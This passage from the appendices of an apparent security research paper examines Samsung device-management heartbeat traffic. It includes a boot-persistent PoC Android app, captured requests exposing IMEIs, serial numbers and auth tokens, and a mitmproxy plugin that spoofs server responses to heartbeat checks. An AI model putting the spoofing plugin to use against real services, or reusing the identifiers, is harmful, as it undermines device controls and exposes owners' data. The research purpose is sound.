       Intent intent = new Intent(context, MonitorService.class);
       if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
           context.startForegroundService(intent);
       } else {
           context.startService(intent);
       }
   }
}
```

Appendix D. PoC App's "`AndroidManifest.xml`" File.

```xml
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
   xmlns:tools="http://schemas.android.com/tools">

   <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
   <uses-permission android:name="android.permission.FOREGROUND_SERVICE" />

   <application
       android:allowBackup="false"
```

```
        android:dataExtractionRules="@xml/data_extraction_rules"
        android:fullBackupContent="@xml/backup_rules"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:roundIcon="@mipmap/ic_launcher_round"
        android:supportsRtl="true"
        android:theme="@style/Theme.defcon32"
        tools:targetApi="31">
        <activity
            android:name=".MainActivity"
            android:exported="true"
            android:excludeFromRecents="true">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <receiver android:name=".BootReceiver" android:exported="true" >
            <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED" />
            </intent-filter>
        </receiver>
        <service android:name=".MonitorService" android:exported="false" />
    </application>
</manifest>
```

Appendix E. POST Request from the Galaxy S8 Device for the "`https://dir-apis.samsungdm.com/api/v1/device`" URL.

```
2024-05-25 18:19:16 POST https://dir-apis.samsungdm.com/api/v1/device
                        ← 200 OK text/html [no content] 5ms

Content-Type:      application/json
Accept:            application/xml
Authorization:     consumer_id="CE11182B884EA00302",signature="YNdHQJnMJgtu3lr7SLhxkN4Qlqf9YBwbrlFtJ35ehzs=",auth_type="sha-256"
User-Agent:        Dalvik/2.1.0 (Linux; U; Android 8.0.0; SM-G950F Build/R16NW)
Host:              dir-apis.samsungdm.com
Connection:        Keep-Alive
Accept-Encoding:   gzip
Content-Length:    643

{
    "deviceVO": {
        "clientVersion": "4.1.18",
        "customerCode": "XSG",
        "deviceID": "IMEI:355258098663920",
        "deviceModelName": "SM-G950F",
        "deviceNetworkCellInfo": "11423490",
        "deviceNetworkLocationAreaInfo": "20247",
        "deviceNetworkType": "GSM",
        "eulaVersion": 2,
        "fingerPrint": "samsung/dreamltexx/dreamlte:8.0.0/R16NW/G950FXXS4CRLB:user/release-keys",
        "fwVersion": "G950FXXS4CRLB/G950FOXM4CRL1/G950FXXU4CRKB",
        "mccByDevice": "424",
        "mccByNetwork": "310",
        "mccBySIM": "310",
        "mncByNetwork": "260",
        "mncBySIM": "240",
        "networkBearer": "WIFI",
        "rooting": "N",
        "secType": "N",
        "secondDeviceID": "IMEI:355259098663928",
        "serialNumber": "RF8M10XL2HZ",
        "uniqueNumber": "CE11182B884EA00302"
    }
}
```

Appendix F. PUT Request from the Galaxy A25 5G Device for the "`https://dir-apis.samsungdm.com/api/v1/device/heartbeat`" URL.

```
2024-05-25 19:45:40 PUT https://dir-apis.samsungdm.com/api/v1/device/heartbeat
                        ← 200 OK text/html [no content] 4ms

Content-Type:      application/json
Accept:            application/json
Authorization:     consumer_id="CE11237B19E300CB347E",access_token="MzE4OTkzMDlEaVI=",signature="CWV/MXdRLuDgykS1DlUs1dtPSs8NGv73ge3pj
```

```
                  KCB7TY=",auth_type="sha-256_v2"
User-Agent:       Dalvik/2.1.0 (Linux; U; Android 14; SM-A256E Build/UP1A.231005.007)
Host:             dir-apis.samsungdm.com
Connection:       Keep-Alive
Accept-Encoding:  gzip
Content-Length:   936

{
    "deviceVO": {
        "bitInfo": "{\"WB\":1,\"TB\":1,\"ABS\":1,\"Reason\":\"F\",\"BinaryStatus\":{\"R\":2,\"B\":3,\"L\":2,\"S\":2,\"V\":2,\"P\":2,\"C
\":2,\"U\":2,\"H\":0,\"O\":2,\"DT\":2,\"DO\":2,\"ES\":0,\"ET\":\"0\",\"HDM\":\"FFFFFFFF\"}}",
        "clientVersion": "7.3.05",
        "countryIso": "GT",
        "customerCode": "GTO",
        "dataNetworkType": 13,
        "deviceID": "IMEI:350616259196813",
        "deviceModelName": "SM-A256E",
        "eulaVersion": "E1.02.02|P1.04.08",
        "fingerPrint": "samsung/a25xdxx/a25x:14/UP1A.231005.007/A256EXXS2AXCC:user/release-keys",
        "fwVersion": "A256EXXS2AXCC/A256EOWO2AXCC/A256EXXS2AXCC",
        "mccByDevice": "712",
        "mccByNetwork": "310",
        "mccBySIM": "310",
        "mncByNetwork": "260",
        "mncBySIM": "240",
        "networkBearer": "1",
        "pcb2d": "G3B021329SP0R",
        "rooting": "",
        "secType": "E",
        "secondDeviceID": "IMEI:350960289196819",
        "securityPatchVersion": "2024-04-01",
        "sepVersion": "15.0",
        "serialNumber": "R5CX2055KGB",
        "sk": "AswF3hbndegSl1714078301129KiKCVK",
        "uniqueNumber": "CE11237B19E300CB347E"
    }
}
```

Appendix G. The "`/system/omc/XSG/cscfeature.xml`" File from a Galaxy S8 Smartphone.

```
<?xml  version="1.0" encoding="UTF-8" ?>
<SamsungMobileFeature>
  <Version>ED00008</Version>
  <Country>UNITED ARAB EMIRAT</Country>
  <CountryISO>AE</CountryISO>
  <SalesCode>XSG</SalesCode>
  <FeatureSet>
    <CscFeature_Audio_ConfigDefCallSampleRate>SWB</CscFeature_Audio_ConfigDefCallSampleRate>
    <CscFeature_Calendar_EnableLocalHolidayDisplay>ARABIC</CscFeature_Calendar_EnableLocalHolidayDisplay>
    <CscFeature_Calendar_SetColorOfDays>XXXXBRX</CscFeature_Calendar_SetColorOfDays>
    <CscFeature_Clock_DisableIsraelCountry>TRUE</CscFeature_Clock_DisableIsraelCountry>
    <CscFeature_Common_AutoConfigurationType>NO_DFLT_CSC, SIMBASED_OMC</CscFeature_Common_AutoConfigurationType>
    <CscFeature_Common_ConfigAllowedPackagesDuringDataSaving>com.sec.android.daemonapp</CscFeature_Common_ConfigAllowedPackagesDuringDataS
    aving>
    <CscFeature_Common_ConfigSvcProviderForUnknownNumber>off,off,off</CscFeature_Common_ConfigSvcProviderForUnknownNumber>
    <CscFeature_Common_EulaVersion>2</CscFeature_Common_EulaVersion>
    <CscFeature_Common_SupportWcdmaInSlave>TRUE</CscFeature_Common_SupportWcdmaInSlave>
    <CscFeature_Email_AlignmentForRTL>TRUE</CscFeature_Email_AlignmentForRTL>
    <CscFeature_Email_DisableFontAttributeDuringComposing>Bold, Italic</CscFeature_Email_DisableFontAttributeDuringComposing>
    <CscFeature_Framework_EnableBidirection>TRUE</CscFeature_Framework_EnableBidirection>
    <CscFeature_Message_CMASOperator>uae</CscFeature_Message_CMASOperator>
    <CscFeature_RIL_ConfigProvideCellInfo>enable</CscFeature_RIL_ConfigProvideCellInfo>
    <CscFeature_SIP_EnablePreferredEnglishTypeAsUS>TRUE</CscFeature_SIP_EnablePreferredEnglishTypeAsUS>
    <CscFeature_Setting_DisableIsraelCountry>TRUE</CscFeature_Setting_DisableIsraelCountry>
    <CscFeature_Setting_IncludeApn4SwUpdate>TRUE</CscFeature_Setting_IncludeApn4SwUpdate>
    <CscFeature_Sip_LangQwertyType4HwKey>HW_KEYBOARD_COUNTRY_TYPE_ARAB_QWERTY</CscFeature_Sip_LangQwertyType4HwKey>
    <CscFeature_VT_ConfigPrivacyPolicy>record,capture</CscFeature_VT_ConfigPrivacyPolicy>
    <CscFeature_VT_SupportMerge>TRUE</CscFeature_VT_SupportMerge>
    <CscFeature_Vision_ConfigImageSearch>PTRXX</CscFeature_Vision_ConfigImageSearch>
    <CscFeature_Vision_ConfigPlace>FSRXX</CscFeature_Vision_ConfigPlace>
    <CscFeature_Vision_ConfigShopping>NLLXX</CscFeature_Vision_ConfigShopping>
    <CscFeature_Vision_ConfigTextTranslator>GGLXX</CscFeature_Vision_ConfigTextTranslator>
    <CscFeature_Vision_ConfigWine>NLLXX</CscFeature_Vision_ConfigWine>
    <CscFeature_VoiceCall_ConfigCallforwardCfnryTimer>Remove</CscFeature_VoiceCall_ConfigCallforwardCfnryTimer>
    <CscFeature_VoiceCall_ConfigOpStyleForHdIcon>XSG_HD</CscFeature_VoiceCall_ConfigOpStyleForHdIcon>
    <CscFeature_VoiceCall_ConfigOpStyleForRingBackTone>SINGTEL</CscFeature_VoiceCall_ConfigOpStyleForRingBackTone>
    <CscFeature_VoiceCall_DisableCallTransfer>TRUE</CscFeature_VoiceCall_DisableCallTransfer>
    <CscFeature_Weather_ConfigCpType>TWC</CscFeature_Weather_ConfigCpType>
    <CscFeature_Weather_SupportCheckingDisputeArea>TRUE</CscFeature_Weather_SupportCheckingDisputeArea>
    <CscFeature_Web_ConfigSyncSource>TRUE</CscFeature_Web_ConfigSyncSource>
    <CscFeature_Web_EnableAutoSimHomeUrlInProfile>TRUE</CscFeature_Web_EnableAutoSimHomeUrlInProfile>
    <CscFeature_Wifi_SupportRssiPollStateDuringWifiCalling>TRUE</CscFeature_Wifi_SupportRssiPollStateDuringWifiCalling>
  </FeatureSet>
</SamsungMobileFeature>
```

Appendix H. The "`HeartBeatJobService`" Job Listing from the "`jobscheduler`" System Service.

```
JOB #1000/543678: 24959df com.sec.android.soagent/.service.HeartBeatJobService
  1000 tag=*job*/com.sec.android.soagent/.service.HeartBeatJobService#543678
  Source: uid=1000 user=0 pkg=com.sec.android.soagent
  JobInfo:
    Service: com.sec.android.soagent/.service.HeartBeatJobService
    Priority: 300 [DEFAULT]
    Requires: charging=false batteryNotLow=false deviceIdle=false
    Transient extras: mParcelledData.dataSize=88
    Network type: NetworkRequest [ NONE id=0, [ Capabilities: INTERNET&TRUSTED&VALIDATED&NOT_VCN_MANAGED Uid: 1000 UnderlyingNetworks:
Null] ]
    Minimum latency: +13d23h59m59s966ms
    Backoff: policy=0 initial=+1h0m0s0ms
    Has early constraint
  Required constraints: TIMING_DELAY CONNECTIVITY [0x90000000]
  Preferred constraints:
  Dynamic constraints:
  Satisfied constraints: CONNECTIVITY DEVICE_NOT_DOZING BACKGROUND_NOT_RESTRICTED TARE_WEALTH WITHIN_QUOTA [0x1b400000]
  Unsatisfied constraints: TIMING_DELAY [0x80000000]
  Constraint history:
    -10m8s965ms = CONNECTIVITY [0x10000000]
    -10m8s965ms = CONNECTIVITY BACKGROUND_NOT_RESTRICTED [0x10400000]
    -10m8s965ms = CONNECTIVITY DEVICE_NOT_DOZING BACKGROUND_NOT_RESTRICTED [0x12400000]
    -10m8s965ms = CONNECTIVITY DEVICE_NOT_DOZING BACKGROUND_NOT_RESTRICTED WITHIN_QUOTA [0x13400000]
    -10m8s965ms = CONNECTIVITY DEVICE_NOT_DOZING BACKGROUND_NOT_RESTRICTED TARE_WEALTH WITHIN_QUOTA [0x1b400000]
  Uid: active
  Tracking: CONNECTIVITY TIME QUOTA
  Implicit constraints:
    readyNotDozing: true
    readyNotRestrictedInBg: true
    readyComponentEnabled: true
  Started with foreground flag: false
  Network: 100
  Standby bucket: EXEMPTED
  Enqueue time: -10m8s965ms
  Run time: earliest=+13d23h49m51s1ms, latest=none, original latest=none
  Restricted due to: none.
  Ready: false (job=false user=true !restricted=true !pending=true !active=true !backingup=true comp=true)


  JOB #1000/468007: fa49d73 com.sec.android.soagent/.service.AddJobService
    1000 tag=*job*/com.sec.android.soagent/.service.AddJobService#468007
    Source: uid=1000 user=0 pkg=com.sec.android.soagent
    JobInfo:
      Service: com.sec.android.soagent/.service.AddJobService
      Priority: 300 [DEFAULT]
      Requires: charging=false batteryNotLow=false deviceIdle=false
      Transient extras: mParcelledData.dataSize=88
      Network type: NetworkRequest [ NONE id=0, [ Capabilities: INTERNET&TRUSTED&VALIDATED&NOT_VCN_MANAGED Uid: 1000
UnderlyingNetworks: Null] ]
      Minimum latency: +5m0s0ms
      Backoff: policy=0 initial=+1h0m0s0ms
      Has early constraint
    Required constraints: TIMING_DELAY CONNECTIVITY [0x90000000]
    Preferred constraints:
    Dynamic constraints:
    Satisfied constraints: CONNECTIVITY DEVICE_NOT_DOZING BACKGROUND_NOT_RESTRICTED TARE_WEALTH WITHIN_QUOTA [0x1b400000]
    Unsatisfied constraints: TIMING_DELAY [0x80000000]
    Constraint history:
      -1m3s477ms = CONNECTIVITY [0x10000000]
      -1m3s477ms = CONNECTIVITY BACKGROUND_NOT_RESTRICTED [0x10400000]
      -1m3s477ms = CONNECTIVITY DEVICE_NOT_DOZING BACKGROUND_NOT_RESTRICTED [0x12400000]
      -1m3s477ms = CONNECTIVITY DEVICE_NOT_DOZING BACKGROUND_NOT_RESTRICTED WITHIN_QUOTA [0x13400000]
      -1m3s477ms = CONNECTIVITY DEVICE_NOT_DOZING BACKGROUND_NOT_RESTRICTED TARE_WEALTH WITHIN_QUOTA [0x1b400000]
    Uid: active
    Tracking: CONNECTIVITY TIME QUOTA
    Implicit constraints:
      readyNotDozing: true
      readyNotRestrictedInBg: true
      readyComponentEnabled: true
    Started with foreground flag: false
    Network: 100
    Standby bucket: EXEMPTED
    Enqueue time: -1m3s477ms
    Run time: earliest=+3m56s523ms, latest=none, original latest=none
    Restricted due to: none.
    Ready: false (job=false user=true !restricted=true !pending=true !active=true !backingup=true comp=true)
```

Appendix I. Python Source Code for the "`mitmproxy`" Plugin.

```python
from mitmproxy import http
import logging

def request(flow: http.HTTPFlow) -> None:
    if flow.request.pretty_url.startswith("http://dir-apis.samsungdm.com/api/v1/device/heartbeat") or
flow.request.pretty_url.startswith("https://dir-apis.samsungdm.com/api/v1/device/heartbeat") or
flow.request.pretty_url.startswith("http://dir-apis.samsung.com.cn/api/v1/device/heartbeat") or
flow.request.pretty_url.startswith("https://dir-apis.samsung.com.cn/api/v1/device/heartbeat"):
        flow.response = http.Response.make(
            200,
            "",
            {"Content-Type": "text/html; charset=utf-8"},
        )
        logging.info(f"injected response for {flow.request.pretty_url}")
```

Appendix J. Uncompressed Log file Embedded in an HTTP POST request for the "`http://clog.geniex.com:9110/index`" URL.

```
[rsim]       2024-04-29 02:09:09:28386946    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1041      STP_SCREEN_STATE_ON
[rsim]       2024-04-29 02:09:21:28398168    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1048      silver heart = 2017
[rsim]       2024-04-29 02:10:26:28463465    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1021      STP_CALL_STATE_OUTGOING_CALL
[rsim]       2024-04-29 02:10:33:28470382    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1048      silver heart = 2017
[rsim]       2024-04-29 02:11:10:28507468    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1037      STP_SCREEN_STATE_OFF
[rsim]       2024-04-29 02:13:05:28622370    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1041      STP_SCREEN_STATE_ON
[rsim]       2024-04-29 02:13:11:28628128    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1037      STP_SCREEN_STATE_OFF
[rsim]       2024-04-29 02:21:27:29124803    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1048      silver heart = 2017
[rsim]       2024-04-29 03:09:09:31986947    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1048      silver heart = 2017
[rsim]       2024-04-29 03:09:13:31990107    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1041      STP_SCREEN_STATE_ON
[rsim]       2024-04-29 03:09:44:32021051    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1037      STP_SCREEN_STATE_OFF
[rsim]       2024-04-29 03:48:17:34334222    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1048      silver heart = 2017
[rsim]       2024-04-29 04:23:05:36422529    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1048      silver heart = 2017
[router]     2024-04-29 04:37:58:37315853    file:val_router_linux.c        function:val_add_remove_get_appinfo_list_rsp    line:230        app number:101
[default]    2024-04-29 06:17:06:43263418    file:fw_netlink.c              function:parseNetlinkAddrMsg    line:142        wlan0 del address:192.168.2.55
[default]    2024-04-29 06:17:06:43263432    file:fw_netlink.c              function:parseNetlinkAddrMsg    line:176
[default]    2024-04-29 06:17:07:43264907    file:fw_netlink.c              function:parseNetlinkAddrMsg    line:142        wlan0 add address:192.168.2.55
[default]    2024-04-29 06:17:07:43264916    file:fw_netlink.c              function:parseNetlinkAddrMsg    line:176
[rsim]       2024-04-29 06:17:45:43302961    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1048      silver heart = 2017
[router]     2024-04-29 06:22:13:43570711    file:val_router_linux.c        function:val_add_remove_get_appinfo_list_rsp    line:230        app number:101
[rsim]       2024-04-29 06:22:30:43587455    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1048      silver heart = 2017
[router]     2024-04-29 06:22:33:43590464    file:val_router_linux.c        function:val_add_remove_get_appinfo_list_rsp    line:230        app number:101
[rsim]       2024-04-29 08:00:50:49487158    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1048      silver heart = 2017
[rsim]       2024-04-29 10:22:49:58006166    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1048      silver heart = 2017
[rsim]       2024-04-29 10:31:49:58546148    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1048      silver heart = 2017
[rsim]       2024-04-29 12:42:08:66365499    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1041      STP_SCREEN_STATE_ON
[rsim]       2024-04-29 12:42:19:66376107    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1048      silver heart = 2017
[rsim]       2024-04-29 12:42:59:66416021    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1037      STP_SCREEN_STATE_OFF
[rsim]       2024-04-29 12:43:13:66430659    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1041      STP_SCREEN_STATE_ON
[rsim]       2024-04-29 12:43:34:66451114    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1048      silver heart = 2017
[default]    2024-04-29 12:44:12:66489426    file:fw_netlink.c              function:parseNetlinkAddrMsg    line:142        wlan0 del address:192.168.2.55
[default]    2024-04-29 12:44:12:66489436    file:fw_netlink.c              function:parseNetlinkAddrMsg    line:176
[router]     2024-04-29 12:44:23:66500143    file:val_router_linux.c        function:val_add_remove_get_appinfo_list_rsp    line:230        app number:101
[default]    2024-04-29 12:44:36:66513096    file:fw_netlink.c              function:parseNetlinkAddrMsg    line:142        wlan0 add address:192.168.2.55
[default]    2024-04-29 12:44:36:66513100    file:fw_netlink.c              function:parseNetlinkAddrMsg    line:176
[rsim]       2024-04-29 12:44:46:66523379    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1048      silver heart = 2017
[rsim]       2024-04-29 12:44:53:66530855    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1033      STP_CALL_STATE_HANG_UP_CALL
[rsim]       2024-04-29 12:44:53:66530955    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1033      STP_CALL_STATE_HANG_UP_CALL
[rsim]       2024-04-29 12:44:54:66530982    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1033      STP_CALL_STATE_HANG_UP_CALL
[rsim]       2024-04-29 12:44:54:66531012    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1033      STP_CALL_STATE_HANG_UP_CALL
[rsim]       2024-04-29 12:44:54:66531022    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1033      STP_CALL_STATE_HANG_UP_CALL
[rsim]       2024-04-29 12:44:54:66531050    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1033      STP_CALL_STATE_HANG_UP_CALL
[rsim]       2024-04-29 12:45:04:66541691    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1033      STP_CALL_STATE_HANG_UP_CALL
[rsim]       2024-04-29 12:45:05:66542897    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1033      STP_CALL_STATE_HANG_UP_CALL
[rsim]       2024-04-29 12:45:06:66543042    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1033      STP_CALL_STATE_HANG_UP_CALL
[rsim]       2024-04-29 12:45:06:66543085    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1033      STP_CALL_STATE_HANG_UP_CALL
[rsim]       2024-04-29 12:45:06:66543211    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1033      STP_CALL_STATE_HANG_UP_CALL
[rsim]       2024-04-29 12:45:06:66543242    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1033      STP_CALL_STATE_HANG_UP_CALL
[rsim]       2024-04-29 12:45:06:66543394    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1033      STP_CALL_STATE_HANG_UP_CALL
[rsim]       2024-04-29 12:45:06:66543493    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1033      STP_CALL_STATE_HANG_UP_CALL
[rsim]       2024-04-29 12:45:06:66543522    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1033      STP_CALL_STATE_HANG_UP_CALL
[rsim]       2024-04-29 12:45:06:66543751    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1037      STP_SCREEN_STATE_OFF
[rsim]       2024-04-29 12:45:06:66543888    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1033      STP_CALL_STATE_HANG_UP_CALL
[rsim]       2024-04-29 12:45:06:66543924    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1033      STP_CALL_STATE_HANG_UP_CALL
[rsim]       2024-04-29 12:45:06:66543961    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1033      STP_CALL_STATE_HANG_UP_CALL
[rsim]       2024-04-29 12:45:07:66544032    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1033      STP_CALL_STATE_HANG_UP_CALL
[rsim]       2024-04-29 12:45:07:66544043    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1033      STP_CALL_STATE_HANG_UP_CALL
[rsim]       2024-04-29 12:45:07:66544059    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1033      STP_CALL_STATE_HANG_UP_CALL
[rsim]       2024-04-29 12:50:27:66864964    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1041      STP_SCREEN_STATE_ON
[rsim]       2024-04-29 12:50:33:66870091    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1048      silver heart = 2017
[rsim]       2024-04-29 12:51:45:66942197    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1048      silver heart = 2017
[rsim]       2024-04-29 12:52:57:67014322    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1048      silver heart = 2017
[rsim]       2024-04-29 12:54:09:67086443    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1048      silver heart = 2017
[rsim]       2024-04-29 12:55:21:67158588    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1048      silver heart = 2017
[rsim]       2024-04-29 12:56:33:67230726    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1048      silver heart = 2017
[rsim]       2024-04-29 12:57:45:67302868    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1048      silver heart = 2017
[rsim]       2024-04-29 12:58:58:67375008    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1048      silver heart = 2017
[rsim]       2024-04-29 13:00:10:67447153    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1048      silver heart = 2017
[rsim]       2024-04-29 13:01:22:67519292    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1048      silver heart = 2017
[rsim]       2024-04-29 13:02:34:67591425    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1048      silver heart = 2017
[rsim]       2024-04-29 13:02:59:67616801    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1037      STP_SCREEN_STATE_OFF
[rsim]       2024-04-29 13:39:17:69793980    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1041      STP_SCREEN_STATE_ON
[rsim]       2024-04-29 13:39:28:69805055    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1048      silver heart = 2017
[rsim]       2024-04-29 13:39:42:69819407    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1029      STP_CALL_STATE_IN_CALLING
[rsim]       2024-04-29 13:39:42:69819877    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1029      STP_CALL_STATE_IN_CALLING
[rsim]       2024-04-29 13:39:42:69819904    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1029      STP_CALL_STATE_IN_CALLING
[rsim]       2024-04-29 13:39:43:69820622    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1033      STP_CALL_STATE_HANG_UP_CALL
[rsim]       2024-04-29 13:39:43:69820640    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1033      STP_CALL_STATE_HANG_UP_CALL
[rsim]       2024-04-29 13:39:43:69820652    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1033      STP_CALL_STATE_HANG_UP_CALL
[rsim]       2024-04-29 13:40:14:69851690    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1037      STP_SCREEN_STATE_OFF
[rsim]       2024-04-29 13:51:05:70502287    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1048      silver heart = 2017
[rsim]       2024-04-29 14:37:09:73266318    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1041      STP_SCREEN_STATE_ON
[rsim]       2024-04-29 14:37:55:73312849    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1048      silver heart = 2017
[rsim]       2024-04-29 14:38:12:73329938    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1037      STP_SCREEN_STATE_OFF
[rsim]       2024-04-29 15:23:09:76026445    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1041      STP_SCREEN_STATE_ON
[rsim]       2024-04-29 15:23:20:76037366    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1048      silver heart = 2017
[rsim]       2024-04-29 15:23:30:76047711    file:bsl_rsim_console.c        function:_bsl_silver_send_heart_and_other_cmd_ind            line:1037      STP_SCREEN_STATE_OFF
```

```
[rsim]          2024-04-29 15:23:31:76048576    file:bsl_rsim_console.c         function:_bsl_silver_send_heart_and_other_cmd_ind               line:1041       STP_SCREEN_STATE_ON
[rsim]          2024-04-29 15:24:15:76092860    file:bsl_rsim_console.c         function:_bsl_silver_send_heart_and_other_cmd_ind               line:1037       STP_SCREEN_STATE_OFF
[rsim]          2024-04-29 15:26:35:76232527    file:bsl_rsim_console.c         function:_bsl_silver_send_heart_and_other_cmd_ind               line:1041       STP_SCREEN_STATE_ON
[rsim]          2024-04-29 15:26:45:76242211    file:bsl_rsim_console.c         function:_bsl_silver_send_heart_and_other_cmd_ind               line:1037       STP_SCREEN_STATE_OFF
[rsim]          2024-04-29 15:30:05:76442810    file:bsl_rsim_console.c         function:_bsl_silver_send_heart_and_other_cmd_ind               line:1048       silver heart = 2017
[rsim]          2024-04-29 15:30:06:76443769    file:bsl_rsim_console.c         function:_bsl_silver_send_heart_and_other_cmd_ind               line:1041       STP_SCREEN_STATE_ON
[default]       2024-04-29 15:30:24:76461104    file:fw_netlink.c               function:parseNetlinkAddrMsg    line:142        wlan0 del address:192.168.2.55
[default]       2024-04-29 15:30:24:76461110    file:fw_netlink.c               function:parseNetlinkAddrMsg    line:176
(2.14.00)<11:30:24:2>System restart after 5 seconds! (KILL)
[server]        2024-04-29 15:30:24:76461344    file:bsl_service_main.c         function:_server_connection_reset               line:897        flag = 0
(2.14.00)<11:30:24:3>[7816]sim:0 attribute:4
(2.14.00)<11:30:24:4>[7816]sim:1 attribute:4
(2.14.00)<11:30:24:5>[7816]sim:2 attribute:4
(2.14.00)<11:30:24:6>[7816]sim:3 attribute:4
[cdr]           2024-04-29 15:30:24:76461374    file:bsl_cdr_main.c             function:bsl_cdr_upload_stop    line:290
[ui server]     2024-04-29 15:30:24:76461665    file:stp_ui_server_console.c    function:stp_ui_server_disconnect               line:4529       socket id = 7
